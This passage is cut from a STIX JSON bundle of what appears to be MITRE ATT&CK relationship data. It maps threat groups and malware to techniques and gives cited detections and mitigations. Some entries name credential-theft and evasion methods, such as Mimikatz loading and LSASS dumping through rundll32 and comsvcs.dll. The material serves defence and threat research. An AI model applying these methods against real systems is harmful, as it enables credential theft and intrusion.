2021)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--56faef01-6a5b-41a7-a7fe-888860750abe","created":"2022-06-27T15:28:36.158Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022) can harvest credentials from local and remote host registries.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-27T15:28:36.158Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56fcac64-0f74-4670-8984-2a3fbc1b6685","created":"2024-05-07T19:23:09.164Z","revoked":false,"external_references":[{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-07T19:23:09.164Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used the Invoke-Mimikatz PowerShell script to reflectively load a Mimikatz credential stealing DLL into memory.(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56ff911a-d7bb-4176-8e1f-bf0f46cc7f89","type":"relationship","created":"2020-11-06T18:40:38.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.183Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can steal access tokens from exiting processes.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--570495a2-c010-4180-abb7-682e6e6528a3","created":"2023-09-20T14:07:19.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-28T22:12:44.488Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has called victims' help desk and impersonated legitimate users with previously gathered information in order to gain access to privileged accounts.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--570da7ec-2d72-4e1b-9f30-f0e1a10085bf","type":"relationship","created":"2019-04-16T17:43:42.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2019-04-22T19:59:21.537Z","description":"[POWERTON](https://attack.mitre.org/software/S0371) is written in PowerShell.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--570df7f7-f2d5-4de9-ba74-4adfa99e980f","type":"relationship","created":"2021-01-06T17:34:44.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Check Point Sunburst Teardrop December 2020","url":"https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/","description":"Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:11:07.709Z","description":"[TEARDROP](https://attack.mitre.org/software/S0560) created and read from a file with a fake JPG header, and its payload was encrypted with a simple rotating XOR cipher.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Check Point Sunburst Teardrop December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--571c83a5-0a53-4f57-93bc-52356b6cc741","created":"2021-01-22T16:22:09.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.420Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used WinRM for lateral movement.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--571dc63c-8073-4898-8434-94f8ce2e8d6d","type":"relationship","created":"2021-03-02T16:42:09.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-02T16:42:09.496Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has the capability to stop antivirus services and disable Windows Defender.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--571f784e-af1c-4e0d-bd5c-7b9223187e39","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for newly constructed logon behavior that may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57216102-21aa-402b-b306-79e1dd548716","type":"relationship","created":"2019-04-16T15:21:57.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html","source_name":"FireEye TRITON 2019"}],"modified":"2019-04-29T18:59:16.698Z","description":"(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5724994d-7213-4a70-8065-1a12280f8f4c","type":"relationship","created":"2020-11-17T18:39:06.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-17T18:39:06.979Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has created a service on victim machines named \"TaskFrame\" to establish persistence.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--572a0bc0-58e6-4a8e-a28c-7d8be0bfd781","created":"2022-04-12T20:43:24.799Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can collect information from a compromised host.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-12T20:43:24.799Z","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57350311-f2bd-4ca8-ba95-67c255422bbb","type":"relationship","created":"2021-07-26T13:50:48.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ITSyndicate Disabling PHP functions","url":"https://itsyndicate.org/blog/disabling-dangerous-php-functions/","description":"Kondratiev, A. (n.d.). Disabling dangerous PHP functions. Retrieved July 26, 2021."}],"modified":"2022-04-01T17:11:01.148Z","description":"Consider disabling software components from servers when possible to prevent abuse by adversaries.(Citation: ITSyndicate Disabling PHP functions)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57385cb2-e3ef-4006-b465-a5a48632d02b","type":"relationship","created":"2019-10-09T19:24:01.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.","url":"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/","source_name":"CarbonBlack LockerGoga 2019"},{"description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/","source_name":"Unit42 LockerGoga 2019"}],"modified":"2019-10-10T12:16:50.286Z","description":"[LockerGoga](https://attack.mitre.org/software/S0372) has been observed changing account passwords and logging off current users.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)","relationship_type":"uses","source_ref":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--573916d8-804d-4453-be37-e6b1865e87db","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-16T17:11:22.809Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) obfuscates API function names using a substitute cipher combined with Base64 encoding.(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--573e7f53-26e9-4eae-af0e-308d11192f57","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:26:31.617Z","description":"APIs and strings in some [TYPEFRAME](https://attack.mitre.org/software/S0263) variants are RC4 encrypted. Another variant is encoded with XOR.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--573f3932-8435-4b4a-b138-d9c955495197","type":"relationship","created":"2020-06-01T15:46:47.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T15:46:47.631Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used UPX to obscure malicious code.(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5744b31d-6633-44ca-8170-17489fec124c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.883Z","description":"(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5750c3fc-54dc-41e0-b661-c548deee0b9a","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter Leoloobeek Scheduled Task","description":"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.","url":"https://x.com/leoloobeek/status/939248813465853953"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:41:53.041Z","description":"Monitor for newly constructed processes with command-lines that create/modify or are executed from tasks. For example, on Windows tasks may spawn from `svchost.exe` or the Windows Task Scheduler `taskeng.exe` for older OS versions. (Citation: Twitter Leoloobeek Scheduled Task) Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Instances of the process at.exe running imply the querying or creation of tasks. Although the command_line is not essential for the analytic to run, it is critical when identifying the command that was scheduled.\n\nAnalytic 1 - Scheduled Task\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"*at.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57527643-2aef-4171-b61a-665ab8ed991b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2020-03-30T02:04:22.503Z","description":"[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57563748-1634-4625-baa4-73a4b1d7dbfb","type":"relationship","created":"2020-12-28T21:51:00.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.","url":"https://wald0.com/?p=179","source_name":"Wald0 Guide to GPOs"},{"description":"Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.","url":"https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/","source_name":"Microsoft WMI Filters"},{"description":"Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo","source_name":"Microsoft GPO Security Filtering"}],"modified":"2021-02-09T15:52:24.502Z","description":"Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5758382a-2ada-4d05-ad25-8ee802a9e041","type":"relationship","created":"2019-01-31T01:07:58.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"source_name":"FireEye APT32 April 2020","url":"https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html","description":"Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.075Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails containing malicious links.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: FireEye APT32 April 2020)(Citation: Volexity Ocean Lotus November 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57597bcb-9cbc-49d4-adfb-fb4c0fe6090e","created":"2022-05-27T14:11:22.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:52:36.240Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory.(Citation: DFIR Report APT35 ProxyShell March 2022)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5761f7ba-920b-491b-a010-d12645dedf0b","type":"relationship","created":"2020-10-20T15:50:00.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:32:34.749Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57637c68-0d94-427a-a803-4f1900ccefac","created":"2024-03-06T17:51:14.674Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti 